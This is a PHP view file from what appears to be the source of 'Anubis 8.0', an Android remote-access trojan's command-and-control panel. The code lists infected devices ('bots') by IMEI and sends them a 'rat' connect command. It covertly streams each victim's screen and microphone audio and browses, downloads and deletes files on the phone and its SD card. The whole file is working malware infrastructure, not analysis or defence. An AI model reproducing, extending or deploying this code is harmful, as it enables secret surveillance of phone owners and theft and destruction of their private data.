Files
Anubis-8.0/anubis/application/views/webSocket.php
T
2026-08-27 10:50:54 -06:00

545 lines
16 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
?>
<div id="showAlert"></div>
<div class="content">
<center>
<input type='submit' value='File System' onClick="location.href='index.php?cont=ws&page=file-system'" style='width:140px; margin-left:30px;margin-top:10px; ' class='btn btn-outline-secondary'/>
<input type='submit' value='Stream Screen'onClick="location.href='index.php?cont=ws&page=streamscreen'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
<input type='submit' value='Stream Sound'onClick="location.href='index.php?cont=ws&page=streamsound'" style='width:140px; margin-left:30px;margin-top:10px;' class='btn btn-outline-secondary'/>
</center>
<div id='DIV_Server' style='margin-left:20px;width:25%; float:left; min-height: 50px; margin-top:20px; border: 0px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<a style='margin-left:77px;color:#ffffff'>ID Bots</a></br>
<select name="comboBox_imeis" id="comboBox_imeis" style="width: 200px;color: #337ab7; font-size: 13; height: 28px;background: #1D1F24">
<?php
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT IMEI,lastConnect FROM kliets");
$statement->execute();
foreach($statement as $row){
$IMEI = $row['IMEI'];
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row['lastConnect']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row['lastConnect']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=2){}
else{
if($seconds<=120){
echo "<option value='$IMEI'>$IMEI";
}
}
}
?>
</select> </br>
<input type='submit' value='Connect' onClick='sendDataCommand()' style='width: 90px; margin-top:2px; margin-right:0px;' class='btn btn-outline-success'/>
<input type='submit' value='Disconnect' onClick='disconnect()' style='width: 107px; margin-top:2px; margin-right:5px;' class='btn btn-outline-danger'/>
</br>
<div id="CheckPort" style="padding-top:9px">
<img src="images/loader.gif" style="margin-top:5px; margin-left:60px;width:14%; height:5%"/>
</div>
</br>
</div>
<?php
$domain = $_SERVER['SERVER_NAME'];
if (isset($_SERVER['HTTPS']))
$scheme = $_SERVER['HTTPS'];
else
$scheme = '';
if (($scheme) && ($scheme != 'off')) $scheme = 'https';
else $scheme = 'http';
$urlpanel = "$scheme://$domain";
?>
<script>
function sendDataCommand(){
var imei = document.getElementById("comboBox_imeis").value;
updateBotID(imei);
var url = '<?php echo $urlpanel?>';
$.ajax({url: 'application/set/commandBots.php?comboBox_commands=rat&text_imei='+ imei+'&url='+url,cache: false});
startNatif('success','The team was successfully added!');
}
function updateBotID(imei){
$.ajax({url: 'application/websocket/utils.php?updateimei='+ imei,cache: false});
}
function disconnect(){
$.ajax({url: 'application/websocket/utils.php?updateimei=',cache: false});
startNatif('success','The сlient successfully disabled!!');
}
</script>
<?php
}
$page = $_GET['page'];
echo "<center>";
if($page == "file-system"){
FileSystem();
}
elseif($page == "streamscreen"){
StreamScreen();
}
elseif($page == "streamsound"){
StreamSound();
}
else{
FileSystem();
}
echo "</center>";
function StreamSound(){
echo "<div id='DIV_SOUND' style='width:50%; margin-left:10%; min-height: 300px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<div id='div_sound'>
<center>Stream Sound</center>
<input type='submit' onClick='javascript:void(addcommand(\"startforegroundsound\"))' value='Start Sound + Foreground' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<input type='submit' onClick='javascript:void(addcommand(\"startsound\"))' value='Start Sound' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<input type='submit' onClick='javascript:void(addcommand(\"stopsound\"))' value='Stop Sound' id='btcstopsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<center>
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
</center>
</div></br></div></br>
<script>
var startNameSound='';
startSound();
function startSound() {
$.ajax({url: 'application/websocket/utils.php?sound=get',
success: function(data) {
if(startNameSound == data) return;
start('application/websocket/sound/'+data+'.amr');
startNameSound = data;
}});
}
function start(path){
fetchBlob(path, function(blob) {
playAmrBlob(blob);
});
}
var gAudioContext = new AudioContext();
function E(selector) {
return document.querySelector(selector);
}
function getAudioContext() {
if (!gAudioContext) {
gAudioContext = new AudioContext();
}
return gAudioContext;
}
function fetchBlob(url, callback) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url);
xhr.responseType = 'blob';
xhr.onload = function() {
callback(this.response);
};
xhr.onerror = function() {
};
xhr.send();
}
function readBlob(blob, callback) {
var reader = new FileReader();
reader.onload = function(e) {
var data = new Uint8Array(e.target.result);
callback(data);
};
reader.readAsArrayBuffer(blob);
}
function playAmrBlob(blob, callback) {
readBlob(blob, function(data) {
playAmrArray(data);
});
}
function playAmrArray(array) {
var samples = AMR.decode(array);
if (!samples) {
return;
}
playPcm(samples);
}
function playPcm(samples) {
var ctx = getAudioContext();
var src = ctx.createBufferSource();
var buffer = ctx.createBuffer(1, samples.length, 8000);
if (buffer.copyToChannel) {
buffer.copyToChannel(samples, 0, 0)
} else {
var channelBuffer = buffer.getChannelData(0);
channelBuffer.set(samples);
}
src.buffer = buffer;
src.connect(ctx.destination);
src.start();
setTimeout(endAmr, 3000);
}
function endAmr(){
startSound();
}
</script>
";
}
function StreamScreen()
{
echo "<div id='DIV_VNC' style='width:50%; margin-left:10%; min-height: 300px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<div id='div_vnc'>
<center>Stream Screen</center>
<input type='submit' onClick='javascript:void(addcommand(\"startscreenVNC\"))' value='Start screen' id='btcstartsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<input type='submit' onClick='javascript:void(addcommand(\"stopscreenVNC\"))' value='Stop screen' id='btcstopsreen' style='margin-right:5px;' class='btn btn-outline-success'/>
<center>
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
<img src='application/websocket/VNC.jpg' alt='No image' name='VNC'></image>
</center>
</div>
</br>
</div>
</br>
<script>
refreshImageVNC();
function refreshImageVNC() {
if (!document.images) return;
$.ajax({
url: 'application/websocket/utils.php?statvnc=get',
success: function(data) {
$('.results').html(data);
if(data!= ''){
var ranint=getRandomInt(0,100000);
document.images['VNC'].src = 'application/websocket/VNC/'+data+'?r='+ranint;
setTimeout('refreshImageVNC()',300);
}
}
});
}
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>
";
}
function FileSystem()
{
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT urls,urlInj FROM settingsall WHERE id='1'";
$database = new database;
$path = $database->ws_GetPath();
if($path=="") $path = "/";
$FileFolder = $database->ws_GetFileFolder();
$file = explode('!!!!', $FileFolder)[2];
$folder = explode('!!!!', $FileFolder)[1];
$arrayFile = explode('|', $file);
$arrayFolder= explode('|', $folder);
$command = $database->ws_GetCommand();
$command = str_replace('opendir:','',$command);
$command = str_replace('!!!','',$command);
echo "
<div id='DIV_FileSystem' style='width:50%; margin-left:10%; min-height: 300px; max-height: 500px; margin-top:20px; border: 1px solid black; border-color: #43717a; background: #1D1F24; border-radius: 4px;' >
<form name='FileSystem' method='post'>
<div id='div_fs'>
<center>File System</center></br>
<div style='background:#1D1F24; text-align: left; margin-left:10px'>
<input type='hidden' id='savepath' value='$path'/>
<a id='idpath' style='background:#1D1F24;'>Path: $path</a></br>
<a style='background:#1D1F24;'>Command: $command</a></br>
</div>
<center>
<div style='width:98%; height: 1px; background:#333' ></div></br>
</center>
";
echo "<div style='background:#1D1F24; text-align: left; margin-left:10px; margin-botton:10px; overflow: auto; max-height: 300px;'>";
if(($file=="")&&($folder=="")){
if($path!=="/"){
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
}
echo "</br></br></br></br></br>";
}else{
if($path=="/"){}else{
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
}
}
foreach($arrayFolder as $fold){
if($fold !== "")echo "<span class='glyphicon glyphicon-folder-open' aria-hidden='true' style='color:#337ab7'></span>
<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>$fold</a>
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fold####\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
}
foreach($arrayFile as $fil){
if($fil !== "")echo "<span class='glyphicon glyphicon-file' aria-hidden='true' style='color:#337ab7'></span>
<a style='background:#1D1F24;'>$fil</a>
<a href='javascript:void(addcommand(\"downloadfile:$path/$fil####\"))' class='glyphicon glyphicon-cloud-download' aria-hidden='true' style='color:#337ab7' ></a>
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fil####\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
}
echo "</div>
<center>
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
</center>
</div>
</form>
<div style=' text-align: left; margin-left:10px; margin-top:-15px;'>
Path <input type='text' name='intInterval' id='intInterval' style='color: #337ab7; background: #1D1F24; width: 50%; font-size: 12; height: 28px; border-radius: 5px;'></input>
<input type='submit' value='Open' id='btnclick' style='margin-right:5px;' class='btn btn-outline-success'/>
<input type='submit' value='Open SD Card' id='btnclick2' style='margin-right:5px; ' class='btn btn-outline-success'/>
</div>
</br>
</div>
</br>
";
}
$database = new database;
$database->ws_UpdateStatusFileFolder('0');
?>
<script type="text/javascript">
function addcommand(namefile){
$.ajax({
url: "application/websocket/utils.php?pathFileFolder=" + namefile,
cache: false
});
showFileFolder();
}
document.body.addEventListener("click", function(event) {
if ((event.target.nodeName == "A")&&(event.target.getAttribute('id') == "ListFile")){
var str = event.target.textContent;
var path="";
if(str == ".."){
path = getUrlUp(document.getElementById("savepath").value);
str="";
}else{
path = document.getElementById("savepath").value;
path = path + "/";
}
$.ajax({
url: "application/websocket/utils.php?pathFileFolder=opendir:" + path + str + "####",
cache: false
});
showFileFolder();
}
});
document.body.addEventListener("click", function(event) {
if ((event.target.nodeName == "INPUT")&&(event.target.getAttribute('id') == "btnclick")){
var text = document.getElementById("intInterval").value;
$.ajax({
url: "application/websocket/utils.php?pathFileFolder=opendir:"+text+"####",
cache: false
});
showFileFolder();
}
});
document.body.addEventListener("click", function(event) {
if ((event.target.nodeName == "INPUT")&&(event.target.getAttribute('id') == "btnclick2")){
$.ajax({
url: "application/websocket/utils.php?pathFileFolder=opendir:getExternalStorageDirectory####",
cache: false
});
showFileFolder();
}
});
// var inProcessShow = false;
function show()
{
// if (inProcessShow) return;
// inProcessShow = true;
$.ajax({
url: "application/websocket/check.php",
cache: false,
success: function(html){
$('#CheckPort').fadeTo(0,0.1,function()
{
$(this).html(html).fadeTo(0,1);
// inProcessShow = false;
});
}
});
}
$(document).ready(function(){
// show();
setInterval('show()',1000);
});
function showFileFolder()
{
$.ajax({
url: "application/websocket/checkFileFolder.php",
cache: false,
success: function(html){
$('#div_fs').fadeTo(0,0.1,function()
{
$(this).html(html).fadeTo(0,1);
});
}
});
}
$(document).ready(function(){
// showFileFolder();
getStatusFileFolder();
setInterval('getStatusFileFolder()',2000);
});
function newhandshake(){
$.ajax({
url: "application/websocket/generatnewhandshake.php?starthandshake=GO",
cache: false
});
show();
}
function getStatusFileFolder(){
$.ajax({
url: 'application/websocket/utils.php?statusfilefolder=get',
success: function(data) {
$('.results').html(data);
if(data=='1'){
showFileFolder();
}
}
});
}
function getUrlUp(str){
var execstr=str;
execstr = execstr.replace('//','/');
if(str!=="/"){
if(execstr.substr(execstr.length-1,1)=="/"){
execstr = execstr.substr(0,execstr.length-1);
}
}
var arr = execstr.split('/');
var str2="";
for(var i=1;i<arr.length-1;i++){
str2 = str2 + '/' + arr[i];
}
if(arr.length==2){
str2="/";
}
return str2;
}
function httpGet(text) {
$.ajax({
url: text,
success: function(data) {
$('.results').html(data);
return data;
}
});
}
</script>
</div>